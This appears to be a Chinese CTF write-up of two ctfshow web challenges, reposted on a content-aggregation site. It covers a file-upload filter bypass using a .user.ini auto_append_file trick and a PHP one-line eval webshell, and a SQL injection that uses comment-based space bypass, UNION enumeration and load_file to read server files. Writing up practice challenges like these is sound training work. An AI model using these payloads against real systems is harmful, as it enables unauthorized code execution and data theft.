ctf_web

news/发布时间2024/5/19 14:03:09

ctfshow

web13

访问题目链接

image-20240506191500782

一看是一道文件上传题,上传文件进行测试

上传php会显示 error suffix 因此推测会检测格式

当文件字数超出一定字数时,显示 error file zise

常规操作就是访问 .php.bak 、.phps 、.swp等文件,看看有没有源码泄露

这道题访问 upload.php.bak 成功获取到了php源码

<?php header("content-type:text/html;charset=utf-8");$filename = $_FILES['file']['name'];$temp_name = $_FILES['file']['tmp_name'];$size = $_FILES['file']['size'];$error = $_FILES['file']['error'];$arr = pathinfo($filename);$ext_suffix = $arr['extension'];if ($size > 24){die("error file zise");}if (strlen($filename)>9){die("error file name");}if(strlen($ext_suffix)>3){die("error suffix");}if(preg_match("/php/i",$ext_suffix)){die("error suffix");}if(preg_match("/php/i"),$filename)){die("error file name");}if (move_uploaded_file($temp_name, './'.$filename)){echo "文件上传成功!";}else{echo "文件上传失败!";}?>

检测了文件的大小、文件名长度、后缀名长度、黑名单限制了php后缀名和文件名

上传的文件会在本目录

对于限制了长度小于24的情况,用最简单的一句话马符合条件(23个字符)

<?php eval($_GET['c']);

对于限制了上传文件的类型,由于此题使用黑名单限制了php,但是没有限制其他三个字符后缀名的文件。

因此我们可以上传用户配置文件 .user.ini

原理参照:https://blog.csdn.net/cosmoslin/article/details/120793126

auto_apend_file="t.txt"

然后上传一个test.php,里边写上面提到的最简单一句话

此时此目录下所有php文件执行前都会包含txt文件的内容(在文件最后包含)

注意:由于限制文件内容长度,所以文件名不能写太长(配置文件内容会超出长度)

image-20240506195009022

成功调用 phpinfo 函数

使用 print_r(scandir('.')); 获得一个包含本目录下所有文件的数组。

image-20240506195310332

使用 highlight_file(“”) 查看可疑文件

image-20240506195748383

得到flag

web14

image-20240506203438426

尝试数字小的,输入3时,提示了另一个页面

image-20240506203531795

image-20240506203556463

是个查询框,推测有sql注入

发现会过滤空格,尝试 注释绕过,成功

image-20240506203702377

order by 子句爆列数

?query=-1/**/or/**/true/**/order/**/by/**/2

发现只有一列

union爆库名

?query=-1/**/union/**/select/**/database()

image-20240506204344885

爆版本

image-20240506204418363

爆表(这里的informaiton_schema里的表名要带上反引号进行绕过,题目过滤了 informaiton_schema.tables)

-1/**/union/**/select/**/group_concat(table_name)from/**/information_schema.`tables`/**/where/**/table_schema=database()

后来发发现爆了一堆白爆了……..

根本就不是这么做。

仔细一想,题目提示要看题目的源码,且又是sql注入

那么——load_file()函数

使用load_file的前提:

  1. my.cfg(或者ini)里secure_file_priv的值(其他地方查去吧)
  2. 绝对路径已知(/var/www/html)
-1/**/union/**/select/**/load_file('/var/www/html/secret.php')

页面没反应

image-20240506203556463

查看一下源码

image-20240506214132936

看这段代码好像还需要满足一个条件,实际上已经把flag 的真实路径指出来了,就在根目录下,用load_file再读一下就好

image-20240506214811859

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ulsteruni.cn/article/65174780.html

如若内容造成侵权/违法违规/事实不符,请联系编程大学网进行投诉反馈email:xxxxxxxx@qq.com,一经查实,立即删除!

相关文章

02_Modbus的功能码与报文详解

Modbus协议类型 Modbus从站四张表类型 主站常用功能码 Modbus TCP请求报文,功能码03Modbus TCP应答报文,功能码03 00 17为23个字节:请求长度加应答长度06+17=23; 14为20长度:14+06=20Modbus UDP请求报文,功能码03Modbus UDP应答报文,功能码03 Modbus RTU请求报文,功能…

https加密机制

参考:https://www.cnblogs.com/sxiszero/p/11133747.html 对称加密:只用一个秘钥的加解密,如果秘钥进行了泄漏,导致数据不安全 非对称加密:非对称加密算法需要一组密钥对,分别是公钥和私钥,这两个密钥是成对出现的。公钥加密的内容需要对应的私钥解密,私钥加密的内容需…

Docker-DevOps-入门手册(全)

Docker DevOps 入门手册(全)原文:zh.annas-archive.org/md5/A074DB026A63DFD63D361454222593A5 译者:飞龙 协议:CC BY-NC-SA 4.0前言 Docker 与 DevOps 概述了容器化的强大力量以及这种创新对开发团队和一般运营的影响。我们还将了解 DevOps 的真正含义,涉及的原则,以及…

locust压测

目录locust1.依赖2. 实例2.1 压测方式2.2 locust服务端2.3 待压测接口服务3. 参考文档 locust 1.依赖 pip install locust2. 实例 2.1 压测方式 1. 压测方式 1.1 前台自编辑方式修改文件名为locustfile.py 并在控制台使用locust启动前台服务 用户自定义压测参数并开启压测1.2 …

linux系统CentOS下安装snmp服务

使用yum安装1.直接使用yum安装snmp*yum install -y net-snmp net-snmp-utils*2.可能碰到的报错3.按照提示安装依赖*yum install libmysqlclient.so.18* 4.要是还有报错,就按照提示执行*yum install -y net-snmp net-snmp-utils --skip-broken*5.其他安装好的上面是四个包,缺…

SQL

-一、名词 DB(DataBase):数据库 DBMS(DataBase Management System):数据库管理系统 SQL(Structured Query Language):一种操作关系型数据库的编程语言 二、安装: https://dev.mysql.com/downloads/windows/installer/8.0.html 选择MySQL Community Downloads -> M…